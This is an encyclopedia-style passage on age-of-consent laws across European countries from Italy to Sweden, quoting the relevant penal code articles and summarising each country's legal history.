The age of consent in Italy is 14 years, with a close-in-age exception that allows those aged 13 to engage in sexual activity with partners who are under the age of 18, provided that the age gap between them is less than 4 years (i.e. if the partners are all under the age of 18, but at least 13). The age of consent rises to 16 if one of the participants has some kind of influence on the other (e.g. parent - being a natural or an adoptive one, teacher, tutor, etc.). Not knowing that the victim is underage is not a legal defense, except when it was unavoidable ignorance. If the minor involved is under the age of 11, the crime can be punished even without a complaint and the punishment is aggravated. It is also illegal to perform sexual acts in the presence of a minor aged less than 14 with the intent of allowing the minor to witness the acts, even if they do not take an active part.
See also related Wikisource articles from the Italian Criminal Code (in Italian). See also more related articles from Interpol.
History
In 2018, with the introduction of "digital age of consent" following the approval of the GDPR the age of consent between minors of age 18 was changed. Prior to the change, the age of consent was lower exceptionally from 14 to 13 provided that the age gap between the younger and the older was up to 3 years, allowing, in this way, a 16-year-old minor to have sex with a 13-year-old. With the new law, following observation of incoherence by some courts, the law allowed a fourth year of age gap between the 13-year-old minor and the older one, making it allowed, in practical terms, to have sex if the participants are at least 13 but all minors (younger than 18).
Kosovo
The age of consent in Kosovo is 16. Article 228 of the Penal Penalty Code states that "Term 'Consent' means the voluntary agreement of a person who has reached the age of sixteen years to engage in the sexual act in question", and Article 230 states that, 1. Whoever subjects another person to a sexual act without such person's consent shall be punished by imprisonment of two (2) to ten (10) years".
Latvia
The age of consent in Latvia is 16.
The main legislation is specified by the Latvian Criminal Law, Section 161 (Acts of a sexual nature with a Person who has not Attained the Age of Sixteen Years), which translated reads: "Committing a sexual, anal or oral act or another unnatural sexual act of gratification, or other acts of a sexual nature committed in physical contact with the victim's body, if it was done with a person who has not attained the age of sixteen years and if such offence has been committed by a person who has attained the age of majority, is punished by deprivation of liberty for a term of up to five years, or short-term imprisonment, or community service, or a fine and probationary supervision for a period of up to five years."
Sections 159 and 160 provide harsher penalties for rape and forcible sexual assault of juveniles.
History
Until 1992, male homosexual acts were illegal under Section 124.1 of the Latvian Criminal Code. This provision was repealed by the Latvian Parliament in 1992 and an unequal age of consent for male homosexual acts was set at 18. In 1998, the Latvian Parliament adopted a new Criminal Code which took effect in 1999, and equalized the age of consent at 16 for all sexual acts.
Liechtenstein
The age of consent in Liechtenstein is 14. Sexual activity with 14- to 15-year-olds is generally legal, but it can still be punished if sexual access to these children has been obtained by exploiting their lack of sexual self-determination.
Lithuania
The age of consent in Lithuania is 16, as specified by the Lithuanian Criminal Code 151.1, introduced by the bill of 2 July 2010.
Previously the age of consent was set to 14 according to the Lithuanian Criminal Code §153 prohibiting any sexual molestation or sexual relationships with a minor under 14 years. The age of consent (14) was not set directly in this article of the Lithuanian criminal code, though. It has been established by the Lithuanian case law. This meant that both heterosexual and homosexual acts were allowed once a child had reached the age of 14. There was (and remains) an exception to this rule: §151.1(3) of the Lithuanian Criminal Code prohibits parents, guardians, or other people who are ex officio directly responsible for the upbringing and supervision of a child to have any relationships of sexual kind with the child, if he or she has not yet reached the age of 18.
History
Until 1993, male homosexual acts were prohibited under the Lithuanian Criminal Code, Article 1221, which was repealed in that year. The new law set an age of consent of 17 for male oral and anal intercourse, 16 for other male homosexual acts, and 14 for lesbian and heterosexual acts. In 2004, the law was amended to equalise the age of consent at 14 for all sexual acts; the age of consent was raised to 16 in 2010, regardless of gender and sexual orientation.
Luxembourg
The age of consent in Luxembourg is 16, as specified by the Luxembourgish Penal Code, Article 372, which reads: "All indecent assaults on modesty committed without violence or threat, by a person or by aiding the person, of a child of either sex, aged less than sixteen, will be punished by imprisonment of one to five years.
The penalty will be imprisonment of five to ten years if the child was less than eleven years old."
Malta
The age of consent in Malta is 16. Sexual activity - typically by people over 16 - with people between 12 and 16 can be considered defilement of minors by lewd acts or corruption of a minor, which, at the discretion of prosecutors and the courts, depending on the circumstances, may result in a conviction.
Art 201 of Chapter 9 of the Laws of Malta (Presumption of violence in cases of carnal knowledge and indecent assault) states:
201. Unlawful carnal knowledge and any other indecent assault, shall be presumed to be accompanied with violence -(a) when it is committed on any person under twelve years of age;(b) when the person abused was unable to offer resistance owing to physical or mental infirmity, or for any other cause independent of the act of the offender, or in consequence of any fraudulent device used by the offender.
The punishment is imprisonment from three to nine years, with or without solitary confinement, as described in Art. 198 (Rape or carnal knowledge with violence). The punishment can be increased in certain cases described in Art. 202, such as when the person has not attained the age of nine years.
Art. 204 of Chapter 9 of the Laws of Malta (Defilement of minors) reads:
203. (1) Whosoever, by lewd acts, defiles a minor of either sex, shall, on conviction, be liable to imprisonment for a term not exceeding three years, with or without solitary confinement: [...]
A number of aggravating circumstances exist to this blanket provision including: Abuse of parental authority or tutorship, where the victim is under the age of 12 and if the offence is committed by means of threats or deceit. There is no definition of how old the offender must be: Even another minor can be guilty of this crime, although there is no evidence that any such case has ever been prosecuted.
The age of majority is defined in Art 188 of Chapter 16 of the Civil Laws of Malta:
188. (1) Majority is fixed at the completion of the eighteenth year of age.
To apply Art. 203, there are requirements:
For the completed offence and apart from the formal element of the offence, there must be the lewd act (atto di libidine) and the actual defilement. The lewd act may be committed either on the person or in the presence of the minor. All acts which, either by their very nature or of the circumstances in which they are performed, either are directed to the indulgence of the sexual appetite, either of the agent or of the victim, and are capable of arousing sexual interest of the victim, are lewd acts for the purposes of the offence in question.
The interpretation of the law is situational and at the discretion of the prosecution and the courts, based on relevant factors that may be taken into account to decide whether the minor was actually "defiled". For example, in 2008 two brothers, aged 19 and 20, were found not guilty of defiling a girl, then aged 16 (until 2018 the age of consent was 18). Their sexual encounters were consensual, and it was clear that the girl had had several previous sexual adventures with several youths. In 2007 a man of 30 was found guilty of defiling a boy, then aged 14. He had set up a situation in which the boy came to his apartment; as a result of both childish curiosity and what the court deemed to be the guile of the adult man, the boy remained in the apartment even while man first showered and then committed the lewd acts. There are also other cases, where offenders have been found guilty even though the circumstances were not clear, such as the case of a hotel manager aged 35 with a 14-year-old girl on holiday, three men aged 18, 19 and 20 with three 14-year-old girls or another hotel manager of 46 and a boy of 14, who had encounters over a longer time.
In the wording of the law there is no discrimination on the basis of sexual orientation. However, discrimination can result from selective enforcement with regard to individual cases. "This may therefore lead to a higher incidence of cases in which the minor and the perpetrator are of the same sex, given that there may be parents who would not resort to legal proceedings should their 17-year-old child have sexual relations with another person of the opposite sex but would do so if the person is of the same sex."
Marriage is allowed as early as the age of 16, which until May 2018 theoretically would have allowed a case to arise in which a spouse press charges under this article. In practice, this problem has never arisen.
The concept of age-banding employed in for example Canada is not present in the Maltese legal system and sexual activity between one partner who is 15 years old and another who is 16 years old can constitute defilement of minors, depending on the circumstances, with no exception being allowed purely on the basis of the proximity of their ages.
In early 2018 Parliament voted in favour of the "Gender-Based Violence and Domestic Violence Act, 2018" which came into effect on 14 May 2018. The primary objective of the Act is to transpose the Council of Europe Convention on prevention and combating of violence against women and domestic violence, and it also includes amendments that lowered the age of consent to 16.
Moldova
The age of consent in Moldova is 16, per Article 174- "Sexual intercourse with a person under 16", and Article 175- "Perverted Actions".
Article 174. Sexual Intercourse with a Person under the Age of 16
(1) Sexual intercourse other than rape as well as any other acts of vaginal or anal penetration committed with a person certainly known to be under the age of 16 shall be punished by imprisonment for up to 5 years.
(2) The person who committed the act set forth in par. (1) shall not be subject to criminal liability if he/she is similar to the victim in terms of age and physical and mental
development.
[Art.174 in version of Law No. 277-XVI dated 18.12.2008, in force as of 24.05.2009]
[Art.174 amended by Law No. 211-XV dated 29.05.03, in force as of 12.06.03]
Articles 171 and 172 provide harsher penalties for Rape and Violent Sexual Actions (including physical or mental coercion) against juveniles.
Monaco
The age of consent in Monaco is 15.
Montenegro
The age of consent in Montenegro is 14, as set out in Article 206 of the Criminal Code. Article 207 makes it illegal for a teacher, instructor, guardian, adoptive parent, stepfather, stepmother or other person with a similar position to abuse one's position or authority in order to perform sexual intercourse or an equal act with a minor (under 18) entrusted for teaching, education, custody and care. Article 209 (2) makes it illegal for a person to "provide for performing debauchery, an act equal to it or some other sexual act to a minor". Article 216 prohibits "Extramarital community with a minor"
Article 216 reads: (1) An adult person who lives in an extramarital community with a minor, shall be punished by an imprisonment sentence of three months to three years.
(2) A parent, adoptive parent or a guardian who enables a minor to live in an extramarital community with another person or incites him/her into it shall be punished by a penalty referred to in Paragraph 1 of this Article.
History
Montenegro decriminalized homosexual sex in 1977, with an equal age of consent, set at 14.
Netherlands
The age of consent in the Netherlands is 16, as specified by the Dutch Criminal Code: Close-in-age exceptions (for consensual acts between adolescents close in age, within "social-ethical norms") are at the discretion of the prosecution. Acts such as a ménage-a-trois, or an unequal relationship, e.g. the perpetrator (17) was not in love, while the victim (15) was, can also be considered outside "social-ethical norms".
History
In the 1990s, the Netherlands gained international attention due to its policies regarding the age of consent. Between 1990 and 2002 the Netherlands operated what was in effect an age of consent of 12, subject to qualifications. The relevant law, passed in November 1990, permitted sexual intercourse for young people between 12 and 16 in most circumstances, but allowed a challenge by parents or by the Child Protection Agency if there was evidence of exploitation. Although the age of consent was often reported internationally to be 12, this was partly misleading, because sexual acts up to 16 remained open to prosecution. The Netherlands has gained an international reputation of being extremely liberal on sexual issues, with some of this due to exaggerated reports in foreign media and claims by foreign politicians, rather than based on reality. For instance, during the 1980s, some conservative campaigners in the US claimed that children were sold into sexual slavery at "auctions" held in Amsterdam, but did not produce any evidence to support their claims.
North Macedonia
Article 188(1) of the Criminal Code of North Macedonia (amended 2018) prohibits sexual conduct with a child under 14:
However, Article 197 prohibits an adult living in an extra-marital community with a Juvenile under 18:
Article 189(2) prohibits sexual acts with a Juvenile under 18 when there is an abuse of trust or authority:
Previously Article 71 defined "Child" as a person under 14, while article 72 defined "Juvenile" as a person under 18. These articles were deleted in the amended code.
Northern Cyprus
Northern Cyprus has an age of consent of 16 as designated in the Penal Code (Ceza Yasası, Art. 153 & 154).
History
Prior to 2014, sodomy was illegal, the age of consent only applied to females and sexual contact with a female between the ages of 13 and 16 was a misdemeanor. As of 2014, the age of consent is set at 16 for both males and females, sexual contact with any child under 16 regardless of gender is a felony and the ban on sodomy is lifted, thereby legalizing homosexual sex.
Norway
The age of consent in Norway is 16, as specified by the 2005 Penal Code §304: which reads: "Any person who performs a sexual act with a child under 16 years of age shall be subject to imprisonment for a term not exceeding three years, unless the conduct falls within the scope of section 299." Aggravating circumstances as recidivism, multiple perpetrators, and unusual degree of degradation and pain, or physical harm (including, specifically, sexually transmitted diseases) may raise the maximum penalty.
The penal code on the age of consent is three-tiered.
If the child is under 14 years, §299 of the same penal code, reads: "A penalty of imprisonment for a term not exceeding 10 years shall be applied to any person who:
a) engages in sexual activity with a child under 14 years of age,
b) makes a child under 14 years of age perform acts corresponding to sexual activity on himself/herself, or
c) performs an aggravated sexual act with a child under 14 years of age." §300 and §301 of the same penal code, sets minimum penalty, of any person who engages in sexual acts with children under 14 years, to 3-year of imprisonment, and up to 21 years.
If the child is between 14 and 16 years, § 302, reads:
"Any person who engages in sexual activity with a child between 14 and 16 years of age shall be subject to imprisonment for a term not exceeding six years, unless the conduct also falls within the scope of other provisions. The same penalty shall be applied to any person who makes a child between 14 and 16 years of age perform acts corresponding to sexual activity on himself/herself."
According to Chapter 1, § 5, of the penal code, §299-306 applies also if the act was committed outside Norway and by a non-Norwegian citizen or resident.
Even though one may be found guilty of violating the age of consent code, if those involved are "about equal as regards age and development", the court can exercise its own discretion to suspend passing a sentence.
History
Sexual relations between two women was never explicitly criminalized, but have been prosecuted under the general indecency law of the Civil Penal Code of 1842.
In 1951 a Norwegian ministry of justice white paper recommended de-criminalization of homosexual acts in the 1903 Civil Penal Code §213, but this was rejected by the Norwegian Parliament (Stortinget). The ban on sex between men, which also outlawed cohabitation as well as sex with animals, was repealed in 1972 (bestiality having been recriminalized in 2008).
The Penal Code of 2005, replaced the 1902 General Civil Penal Code, and was entered into force on 1 October 2005.
Svalbard
According to the Svalbard Treaty, Norwegian law is applied as the minimum standard. The age of consent is therefore 16.
Poland
The age of consent in Poland is 15, as specified by the Polish Penal Code (Kodeks karny), Article 200, which reads:
Article 200 § 1. Whoever subjects a minor under 15 years of age to sexual intercourse or makes them submit to another sexual act or to perform such an act shall be subject to the penalty of the deprivation of liberty for a term of between 2 and 12 years.
However, Article 198 KK states:
Art. 198. [Sexual use of insanity or helplessness]
Who, taking advantage of the helplessness of another person or resulting from mental retardation or mental illness, the inability of that person to recognize the meaning of the act or direct his actions, leads him to sexual intercourse or to undergo another sexual activity or to perform such an activity,
Is punishable by imprisonment from 6 months to 8 years.
History
In 1932, the new Polish Penal Code after regaining independence was introduced, setting the age of consent at 15 years for all sexual acts, regardless of gender.
Portugal
Art 171 of the Portuguese Penal Code establishes the age of consent as 14, regardless of gender or sexual orientation, but Art 173 forbids sexual relations between adults and adolescents aged 14 to 16 if it can be said the adult took advantage of the adolescent's inexperience, and Art 172 limits it further, forbidding sexual relations with youth aged 16 to 18 by adults entrusted with their education or assistance.Section II - Crimes against sexual self-determination
Article 171 - Child sexual abuse
1. Anyone who engages in a major sexual act with or under 14 years of age, or causes him to do it with another person, is punished with imprisonment from one to eight years.
2. If the sexual act of relief consists of copulation, anal intercourse, oral intercourse or vaginal or anal introduction of body parts or objects, the agent is punished with imprisonment of three to ten years.
3. Who:
a) To prevent minors under 14 years of age, practicing the act provided for in article 170; or
b) Act on a child under the age of 14, by means of a conversation, writing, spectacle or pornographic object;
c) Enticing children under 14 to attend sexual abuse or sexual activity;
is punished with imprisonment for up to three years.
4. Whoever commits the acts described in the preceding paragraph for profit is punished with imprisonment from six months to five years.
5. The attempt is punishable.
Article 172 - Sexual abuse of dependent children
1. Those who practice or lead to practice the act described in paragraphs 1 or 2 of the previous article, relative to a minor between 14 and 18 years of age entrusted to him or her for education or assistance, shall be punished with imprisonment from one to eight years. .
2. Whoever commits an act described in paragraph 3 of the previous article, in relation to the minor understood in the previous paragraph of this article and under the conditions described therein, shall be punished with imprisonment of up to one year.
3. Whoever commits the acts described in the preceding paragraph for profit is punished with imprisonment for up to 5 years.
4. The attempt is punishable.
Article 173 - Sexual acts with adolescents
1. Who, being of legal age , engages in a major sexual act between the ages of 14 and 16, or causes it to be practiced by him with others, abusing his inexperience, is punished with imprisonment for up to 2 years.
2. If the sexual act of relief consists of copulation, oral intercourse, anal intercourse or vaginal or anal introduction of body parts or objects, the agent is punished with imprisonment for up to 3 years.
3. The attempt is punishable.
History
Since September 2007, the age of consent was formally equalised as part of the Penal Code of September 2007. Although the age of consent is stipulated at 14 in Portugal, the legality of sexual acts with a minor between 14 and 16 is open to legal interpretation since the law states that it is illegal to perform a sexual act with an adolescent between 14 and 16 years old "by taking advantage of their inexperience". Homosexual acts were legalised for the first time in Portugal in 1852, with an equal age of consent at that time - although homosexuality was again re-criminalised in 1886. They were decriminalised a second time in 1983 and an age of consent was set at 16, in line with heterosexual activities. In 1995, a new Penal Code was introduced with "different circumstances" for different sexual behaviours. Since September 2007, the age of consent, regardless of sexual behaviour, gender or sexual orientation, is 14 .
Romania
The Romanian Criminal Code currently sets the age of consent to 16, according to legal changes in 2020.
According to Article 220 of the Penal Code: "Sexual intercourse, oral or anal intercourse, as well as any other acts of vaginal or anal penetration committed with a minor aged between 14 and 16 shall be punished by imprisonment from one to 5 years." (Raportul sexual, actul sexual oral sau anal, precum și orice alte acte de penetrare vaginală sau anală comise cu un minor cu vârsta între 14 și 16 ani se pedepsesc cu închisoarea de la unu la 5 ani.) If aggravated circumstances exist, the punishment increases to up to 10 years. If the age difference between partners is not more than three years, the acts are not punished (paragraph 6, art 220).
However, sexual acts that do not include penetration may be performed from age 14. The law sets several other restrictions in regard to children under 14: it is illegal for an adult to perform sexual acts in view of such a child; to show pornographic materials to such a child or to induce the child to view sex shows; or to solicit such a child to meet for sexual acts (such as on-line solicitation). (articles 221 and 222 of the Penal Code).
In addition, it is illegal for an adult to engage in sexual acts with an adolescent under 18, if the adult abuses the authority or influence they have over the minor in order to gain the sexual access.
The relevant articles of the Criminal Code are Art. 220, Art. 221 and Art. 222. All these laws are gender neutral and apply regardless of the sexual orientation of those involved.
History
For a very long time, the age of consent in Romania was 14. The Penal Code of 1864, which followed shortly after the union of the Principalities of Moldavia and Wallachia, and was in force between 1865 and 1936, set an age of consent of 14. Under this code, Article 263 read: "Any assault against decency, whether completed or attempted, without violence, upon the person of a child, either male or female, aged less than 14 years, shall be punished with imprisonment between two and three years." Article 264 defined "assault against decency with violence", the equivalent of the modern-day crime of rape (although the term "rape" was not used in that code), and stipulated that the maximum penalty should be given if the victim was under 15 years of age. In 1936, a new criminal code came into force. Article 421 read: "The man who has sexual intercourse with a girl under 14 years of age commits the offense of assault against decency without violence, and is punishable by imprisonment between one and three years." However, if aggravated factors existed (such as pregnancy, a sexually transmitted disease, or committed by a person with a specific relation to the victim, or by several persons) the punishment was increased. With regard to rape (article 419) the victim being under 14 constituted an aggravating factor. After the installation of the communist regime, the code was modified several time, and, in 1969, a new penal code came into effect. Nevertheless, the age of consent of 14 was maintained. Article 198 of the 1969 code read: "Sexual intercourse with a female person who has not attained the age of 14 is punishable by imprisonment of one to five years." In a case of rape, similarly with the previous code, the victim being under 14 constituted an aggravating factor (Article 197).
The late 1990s and the early 21st century saw major modifications to the criminal code, in an effort to modify what was seen as outdated provisions, especially as Romania prepared to enter the EU. As such, homosexuality was decriminalized, the text of several criminal offences was modified by making it gender-neutral, the age of consent was lifted to 15 (applicable to both girls and boys), punishments for several sexual crimes were increased, and the stipulation that a rapist could avoid punishment after rape if he married his victim was abolished. Changes were made through Law no. 140/1996, Law No. 197/2000, Emergency Ordinance no. 89/2001, and Emergency Ordinance no. 143/2002. Nevertheless, the rapid adoption of numerous laws led to poorly drafted and contradictory texts, which have caused difficulty among the jurisprudence and doctrine, and several cases ended to the High Court of Cassation and Justice in order to clarify the interpretation of the law. Finally, a new criminal code entered into force on 1 February 2014, which set the age of consent at 15.
Russia
The age of consent in Russia is 16. The age of consent changed several times in Russian history: the Criminal Code of RSFSR (Russian Soviet Federal Socialist Republic) stated "sexual maturity" as the age of consent; when the Criminal Code of Russia was adopted in 1996, the age of consent was proclaimed to be the same regardless of sexual orientation and was set to 16 years old; in 1998 it was lowered to 14 years; and in 2003 it was returned again to 16 years (which is the current age of consent in Russia). Law of early 2012 tightened the consent laws in Articles 134 and 135 considerably. However, only a person over 18 can be charged. Charges are relatively low (up to 4 years of prison) - regardless of gender - and "obscene actions" have even less charges. If the victim is not understanding the nature and consequences of the act (due to their age being under 12 or mental abilities), it will be considered rape and charged much more severely (up to 15 years of prison, or up to 20 if the victim is under 14).
Article 134
Article 134 is entitled "Sexual Intercourse and Other Actions of Sexual Character with a Person Who Has Not Reached the Age of Sixteen Years".
1. Sexual intercourse committed by a person who has reached the age of eighteen years with a person who has not reached the age of sixteen years - shall be punishable by obligatory labour for a term of up to 480 hours, or by restriction of liberty for a term of up to four years, or by compulsory labour for a term of up to four years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to three years, or by deprivation of liberty for a term of up to four years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to ten years.
2. Pederasty or lesbianism in respect of a person who has not reached sixteen years of age effected by a person who has reached eighteen years of age - shall be punishable by compulsory labour for a term of up to five years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to three years, or by deprivation of liberty for a term of up to six years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to ten years.
3. The deeds stipulated by Parts One and Two of this Article committed to a person who has reached twelve years of age but has not reached fourteen years of age - shall be punishable with deprivation of freedom for a term of three to ten years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to fifteen years and with restriction of liberty for a term of up to two years or without such.
4. The deeds stipulated by Parts One, Two or Three of this Article committed in respect of two or more persons - shall be punishable by deprivation of freedom for a term of eight to fifteen years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to twenty years.
5. The deeds provided for by Parts One, Two, Three or Four of this article made by a group of persons, by a group of persons by previous concert or by an organised group - shall be punishable by deprivation of freedom for a term of twelve to twenty years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to twenty years and with restriction of liberty for a term of up to two years or without such.
6. The deeds provided for by Part Three of this article made by a person with a previous conviction for having committed an offence against sexual integrity of a minor - shall be punishable by deprivation of freedom for a term of fifteen to twenty years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to twenty years or by life imprisonment.
Note
1. A person who for the first time has committed the crime stipulated by Part One of this Article, shall be relieved of punishment by court if it is established that such person and the action committed by him/her are no longer socially dangerous in connection with his/her entry into marriage with the victim.
2. Where the age difference between the victim and the accused person is less than four years, the latter shall not be punishable by deprivation of liberty for the committed deed provided for by Part One of this article or by Part One of Article 135 of this Code.
Article 135
Article 135 is entitled "Depraved Actions".
1. The commission of lecherous actions without using violence by a person who has reached eighteen years of age in respect of a person who has not reached sixteen years of age -
shall be punishable by obligatory labour for a term of up to 440 hours, or by restriction of liberty for a term of up to three years, or by compulsory labour for a term of up to five years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to three years, or by deprivation of liberty for a term of up to three years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to ten years.
2. The same deed committed in respect of the person who has reached twelve years of age but has not reached fourteen years of age -
shall be punishable with deprivation of freedom for a term of three to eight years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to fifteen years and with restriction of liberty for a term of up to two years or without such.
3. The deeds provided for by Parts One or Two of this article made in respect of two or more persons -
shall be punishable by deprivation of liberty for a term of five to twelve years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to twenty years.
4. The acts stipulated by Parts One, Two or Three of this Article committed by a group of persons in preliminary collusion or by an organised group -
shall be punishable by deprivation of freedom for a term of seven to fifteen years with or without deprivation of the right to hold certain posts or to be engaged in a certain activity for a period of up to twenty years and with restriction of liberty for a term of up to two years or without such.
2012 amendment
Federal Law No. 14-FZ of 29 February 2012 supplemented Article 135 of this Code with part 5:
5. The deed provided for by Part Two of this article which is made by the person who has a previous conviction for having committed an offence against sexual integrity of a minor -
shall be punishable by deprivation of liberty for a term of ten to fifteen years with deprivation of the right to hold definite offices or to engage in definite activities for a term of up to twenty years.
Former wording
Article 134. Illicit Sexual Relations or Other Sexual Actions with a Person Who Has Not Reached 16 Years of Age
Illicit sexual relations, pederasty, or lesbianism, committed by a person who has reached 18 years of age with a person who obviously has not reached 16 years of age, shall be punishable by restraint of liberty for a term of up to three years or by deprivation of liberty for a term of up to four years.
Federal Law No. 73-FZ of 21 July 2004 amended Article 135 of the present Code
Article 135. Depraved Actions Commission of depraved actions without the use of violence by the person who has reached the age of 18 years in relations to a person who obviously has not reached 16
years of age, shall be punishable by a fine in the amount up to 300 thousand roubles, or in the amount of the wage or salary, or any other income of the convicted person for a period up to two years, or by restraint of liberty for a term of up to two years, or by deprivation of liberty for a term of up to three years.
Wording prior to 2004
Article 134. Illicit Sexual Relations or Other Sexual Actions with a Person Who Has Not Attained 14 Years of Age
Illicit sexual relations, pederasty, or lesbianism, committed by a person who has attained 18 years of age with a person who obviously has not attained 14 years of age,
shall be punishable by restraint of liberty for a term of up to three years or by deprivation of liberty for a term of up to four years.
Article 135. Depraved Actions Commission of depraved actions without the use of violence, in relations to a person who obviously has not attained 14 years of age,
shall be punishable by a fine in the amount of 300 to 500 minimum wages, or in the amount of the wage or salary, or any other income of the convicted person for a period of three to five months, or by restraint of liberty for a term of up to two years, or by deprivation of liberty for a term of up to three years.
Further reading
Criminal Code of the Russian Federation (in Russian)
Criminal Code of the Russian Federation — Chapter 18 (in Russian)
LGBT rights in Russia
History
The penalty for having sex with a minor is not always applied. For example, in 2005, Valentina Isaeva gave birth to a girl in Moscow, Russia at the age of 11 years, 10 months. The father was 19-year-old Habibula Patahonov from Tajikistan, who rented a room in a flat where Valentina was living with her grandmother. The child's father was sentenced conditionally for child abuse but was not jailed because he was willing to support Valentina and their daughter.
San Marino
The age of consent in San Marino is 14, per Article 173. It is also illegal, under Article 177, to "incite a minor under 18 years to sexual corruption".
Serbia
The age of consent in Serbia is 14, regardless of sexual orientation or gender. This is regulated by Chapter 18 (Sexual Offences) of the Penal Code of the Republic of Serbia and especially Article 180 (prohibiting sexual intercourse with a child). Article 112 defines a child as a person under 14 years of age.
Article 181 prohibits sexual intercourse with a juvenile (defined in Article 112 as a person under 18) if the juvenile is entrusted for learning, tutoring, guardianship or care. Article 190 furthermore forbids cohabitation with a minor (person under 18) unless a marriage is conducted. A close-in-age exception for sexual acts with persons under 14 exists, defined as being "no considerable difference between the offender and the child in respect of
their mental and physical development".
History
From 1977 to 1994, sexual acts between men of any age was a criminal offence in Serbia, although the law has never been applied. Then in 1994, an age of consent was set at 18 for anal sex between males; prior to the change males performing anal sexual conduct with another male could be punished by up to 1 year in prison. An age of consent of 16 was set for male homosexual non-anal relationships; this was regulated by section 110 of the Penal Code of the Republic of Serbia, stating that "lewd acts" between a male adult and a male under the age of 16 were punishable by imprisonment from 1 to 8 years. All other sexual acts had an age of consent at 14. Since 2006, an equal age of consent of 14 came into force, regardless of sexual orientation or gender. There was no specific reference to "lewd acts" between two females of the same offence. The current Criminal Code criminalizes sex with children, and the given definition of "a child" for all offenses is set at 14.
The province of Vojvodina, a northern province of Serbia, had decriminalized homosexuality in 1978, thus effectively making an equal age of consent for any sexual practice regardless of sex or gender. This lasted until Vojvodina lost its law-making power in 1990.
Slovakia
The age limit of sexual acts in Slovakia is 15, as specified by the Slovak Criminal Code, Section 201.
§ 201 Sexual abuse
1. Any person, who has sexual intercourse with a person less than fifteen years of age or who subjects such person to other sexual abuse, shall be liable to a term of imprisonment of three to ten years.
History
The history before 1993 within Czechoslovakia is commons with the Czech Republic. Until 1961, homosexual acts were prohibited, however the Criminal Code of that year decriminalised such behaviour partially. However, under Paragraph 244, the age limit of restriction for homosexual acts was set at 18, besides the general limit 15 years. In 1990, the whole Paragraph 244 was repealed and the age limit became 15 for all.
Slovenia
The age of consent in Slovenia is 15, as specified by the Slovenian Penal Code, Article 173, Section 1, which reads: "(1) Whoever has sexual intercourse or performs any lewd act with a person of the same or opposite sex under the age of fifteen (15) years where there is a marked discrepancy between the maturity of the perpetrator and that of the victim shall be sentenced to imprisonment for not less than six (6) months and not more than five (5) years."
History
Until 1959, male homosexual acts were prohibited, as was the case in all of former Yugoslavia. A new Penal Code was introduced in 1977, which decriminalised homosexual acts and all discriminatory provisions were removed and age of consent has been set at 14 for all sexual acts since decriminalization. In 1999, the code was amended to raise the age of consent to 15 years and added the condition for "a marked discrepancy between the maturity of the perpetrator and that of the victim'".
Spain
The age of consent in Spain is 16, under a new law which came into effect on 1 July 2015.
Spanish Criminal Code Article 183:
(1).
Translation: Whoever performs sexual acts with a minor under sixteen years, shall be punished for sexual abuse of a minor with imprisonment of two to six years.
(3).
Translation: When the attack consists of penile entry vaginally, anally or orally, or introduction of body parts or objects in the first two ways, the offender shall be punished with imprisonment from eight to twelve years, in the case of paragraph 1...
There is a close-in-age exemption:
Translation: The free consent of the minor under sixteen excludes criminal responsibility for crimes under this chapter, if the perpetrator is a person close in age and level of development or maturity.
The age of consent rises to 18 if there is deception or abuse of a recognized position of trust, authority or influence over the minor.
Spanish Criminal Code Article 182:
(1). El que, interviniendo engaño o abusando de una posición reconocida de confianza, autoridad o influencia sobre la víctima, realice actos de carácter sexual con persona mayor de dieciséis años y menor de dieciocho, será castigado con la pena de prisión de uno a tres años.
Translation: Whoever performs sexual acts with a person over sixteen and under eighteen by deception or abuse of a recognized position of trust, authority or influence, shall be punished with imprisonment of one to three years.
History
Historically, the age of consent was usually twelve in the Christian kingdoms of Iberia. A new Penal Code was introduced in Spain in 1995 which specified an age of consent of 12 for all sexual acts, but this was raised to 13 in 1999 and to 16 in 2015.
Same-sex sexual acts were lawful in Spain from 1822 to 1954, with the exception of the offence of "unusual or outrageous indecent acts with same-sex persons" between the years 1928 and 1932. However, some homosexuals were arrested in the days of the Second Spanish Republic under the "Ley de Vagos y Maleantes" (Vagrants and Common Delinquents Law). Homosexual acts were made unlawful during Francisco Franco's time in power, first by an amendment to the "Ley de Vagos y Maleantes" in 1954, and later by the "Ley de Peligrosidad y Rehabilitación Social " (Law on Danger and Social Rehabilitation) in 1970. In 1979 Adolfo Suarez's government reversed the prohibition of homosexual acts in that law.
Sweden
The age of consent in Sweden is 15, as specified by the Swedish Penal Code, Chapter 6 (On Sexual Crimes). The age of fifteen is referred to several times, for example in Section 4, which reads: "A person who has sexual intercourse with a child under fifteen years of age or who with such a child carries out another sexual act that, having regard to the nature of the violation and the circumstances in general, is comparable to sexual intercourse, shall be sentenced for rape of a child to imprisonment for at least two and at most six years."
There is a position of trust rule in which the age of consent is raised to 18. The section mentioned above continues: "The same applies to the person who carries out an act referred to in the first paragraph to a child more than fifteen years of age but less than eighteen years of age and who is offspring to the perpetrator or in the perpetrator's care or in a similar relationship to the perpetrator, or for whose care or guardianship the perpetrator is responsible due to the decision of a government agency."
There is also a close in age exception (Chapter 6, Section 14) "...not sentenced if it is obvious that the act is no violation of the child considered the small difference in age between the person who carries out the act and the child and other circumstances." In a verdict of 30 March 2007, the Supreme Court found that a 17-year-old boy had not committed a criminal act by having sexual intercourse with a girl 14 years and 7 months old. (Case B 415–07)
History
Homosexual acts, both between men and between women, were prohibited in Sweden since 1864, then in 1944 homosexual acts became legal - but with a higher age of consent of 18 (21 if the younger part was in a situation of dependency) than for heterosexual acts, which was always set at 15. The age of consent was finally equalized to 15 regardless of sexual orientation in 1978.
Pornography laws were softened in the 1960s. In 1965 there was a review of previous laws governing pornography depicting children as part of the "child's rights to sexuality". From 1971 to 1980 it was legal to buy, sell, and possess child pornography that featured children as young as 10 or 11.
Switzerland
